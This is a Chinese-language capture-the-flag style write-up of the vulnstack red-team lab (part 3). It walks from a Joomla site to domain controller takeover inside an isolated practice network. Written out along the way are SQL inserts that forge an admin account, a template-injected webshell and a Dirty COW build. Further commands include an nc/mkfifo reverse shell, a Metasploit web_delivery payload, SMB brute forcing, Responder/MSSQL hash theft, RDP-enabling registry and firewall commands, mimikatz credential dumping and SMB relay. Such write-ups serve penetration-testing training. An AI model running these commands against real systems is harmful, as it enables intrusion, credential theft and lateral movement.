渗透靶场|渗透靶场--vulnstack-红队评估实战(3)

vulnstack-红队评估实战(3) 环境配置

攻击者: kali 192.168.154.129web 192.168.154.135192.168.93.100pc192.168.93.30win2008192.168.93.20win2012192.168.93.10web1-ubantu192.168.93.120

1.外网主机信息搜集
nmap扫描 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vGg14jbu-1626750775920)(C:\Users\J\AppData\Roaming\Typora\typora-user-images\image-20210716155058076.png)]
访问80发现joomla cms系统 安装使用joomscan进行扫描
git clone https://github.com/rezasp/joomscan.git cd joomscan perl joomscan.pl

渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

发现了配置文件访问得到账户信息
public $host = 'localhost'; public $user = 'testuser'; public $password = 'cvcvgjASD!@'; public $db = 'joomla'; public $dbprefix = 'am2zu_';

访问刚刚扫描得到的后台地址尝试登录,不是那就再去连接数据库(因为3306开着) 连接成功直接查看用户信息
渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

administrator $2y$10$N/Yv/9rzxyq.z0gLTT5og.pj3FFAP8Sq2PcBgsMX/Qnc2671qQkHy

尝试登录失败,应该是加密过的,所以尝试插入新的用户(因为权限足够)
插入新用户 这里有两种方法
1.自己建个joomla然后新建用户把加密后的密码复制过来插入
2.根据官方文档加密直接插入
这里选择第二种方便一点
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

2.获取shell
登录后台,通过模板注入 创建新文件,然后写入木马
渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

通过模板url访问连接
http://192.168.154.135/templates/beez3/1.php

渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

通过基础信息可以看到服务器为ubuntu,并限制了很多代码命令执行函数
但是这里的服务器ip为192.168.93.120 而远端ip为192.168.93.100可以想到web服务器为一台反向代理服务器,web1为真正的web服务器
渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

哥斯拉可以利用payload绕过disable_function 执行命令 渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

搜索txt文件发现可能有用的东西 渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

web.config.txt是个备份文件 test.txt里面有账户信息
渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

直接ssh尝试连接 成功连接
渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

查看网段信息
渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

3.linux权限提升
利用linux-exploit-suggester.sh查看可利用漏洞 centos提权 可能性最大为脏牛,这里用脏牛2
渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

下载后利用成功提权
wget https://www.exploit-db.com/download/40839 cp 40839 exp.c gcc -pthread exp.c -o dirty -lcrypt

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Wk5GQGTd-1626750775942)(C:\Users\J\AppData\Roaming\Typora\typora-user-images\image-20210716195447702.png)]
ubuntu提权 1.第一步是先将绕过disable_function的shell反弹到centos上(因为不能出网)
centos 安装nc nc -l 2333 ubuntu rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.93.100 2333 >/tmp/f

渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

2.尝试前三个失败,网上找个新的2021-3493下载编译执行成功提权
渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

将rootshell反弹到msf上
use exploit/multi/script/web_delivery set target 7 set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.154.129 set lport 4444 run

目标机执行生成的脚本语句
4.内网信息搜集
msf加载路由,挂代理给kali
run autoroute -s 192.168.93.0/24 run post/multi/manage/autoroute msf use auxiliary/server/socks_proxy set srvport 7777 set version 5

渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

先使用msf
use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.93.0-255 set threads 5 run

渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

至此五台目标全部出现
外网 192.168.154.135 192.168.93.100 内网 192.168.93.120192.168.93.10 2012 53,123,137 192.168.93.202008 137,1433 MSSQL 192.168.93.30PC 137

再使用nmap代理扫描
proxychains nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F

渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

5.横向移动
由于三台都是windows且开启了445端口,那么尝试拿到一台权限后smb横向
方式访问93.20的80端口是一个错误页面
尝试smb爆破 msf爆破
use auxiliary/scanner/smb/smb_login set rhosts 192.168.93.20 set SMBUser administrator set PASS_FILE /app/tools/dic/pass.txt run

hydra爆破
proxychains4\ hydra -l administrator -P /app/tools/dic/pass.txt smb://192.168.93.20 -vV

伪造smb服务器盗取密码 利用192.168.93.20 开放的mssql尝试登录
search mssql use 18 set username testuser set password cvcvgjASD!@ set rhosts192.168.93.20 run

渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

先在centos上伪造一个smb服务器
git clone https://github.com/SpiderLabs/Responder.git makedir re upload Responder-master -r ./re shell cd re python Responder.py -I eth1 -wrf

利用mssql来进行泄露密码
攻击者伪造的smb服务器通过向共享目录投递连接外部服务器的资源文件,用户请求过程中尝试身份验证,会默认使用SMB协议将用户哈希发送到服务器,这样攻击者就会获取对方用户账户哈希。
use auxiliary/admin/mssql/mssql_ntlm_stealer set password cvcvgjASD!@ set rhosts 192.168.93.20 set smbproxy 192.168.93.100 set username testuser run

伪造服务器收到密码
渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

123qwe!ASD

smb连接得到shell 用到了
https://github.com/SecureAuthCorp/impacket 里面的wmiexec.py 拉到外面再执行,还要pip安装pycryptodomex和pyasn1包

执行得到shell
渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

开放3306端口放行防火墙后远程连接
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

利用远程连接上传mimkatz工具,跑出administrator密码为 zxcASDqw123!!,
Nslookup -type=SRV _ldap._tcp

nslookup可知域控为 win-8ga56tnv3mv.test.org,ip为192.168.93.10
附 这里还可以利用msf生成会话然后跑密码
#因为目标机在内网所以使用bind_tcp use exploit/windows/smb/psexec set payload windows/x64/meterpreter/bind_tcp set rhosts 192.168.93.30 set smbuser administrator set smbpass 123qwe!ASD

密码
load mimikatz kiwi_cmd -f privilege::debug kiwi_cmd -f sekurlsa::logonPasswords

然后再连域控开端口放行防火墙
run post/windows/manage/enable_rdp proxychains rdesktop 192.168.93.20

再利用smb继续命令执行开门,然后远程连接获取shell 渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

拿下域控!
渗透靶场|渗透靶场--vulnstack-红队评估实战(3)
文章图片

后续还有一台30的ip未开启SMB校验 假如其他机器未开启SMB签名校验,就能用来打该机器。倘若遇上相同密码或者是有权限操作目标机器的情况,就能直接返回目标机器的Shell
扫描是否开启签名 proxychains nmap -Pn -sT -p445 --open --script smb-security-mode.nse 192.168.93.10,20,30

【渗透靶场|渗透靶场--vulnstack-红队评估实战(3)】利用centos的smb中继直接获得shell,密码其实和20一样
#中继 python Responder.py -I eth1 #中继转发(位于tools目录下) python MultiRelay.py -t 192.168.93.30 -u ALL

    推荐阅读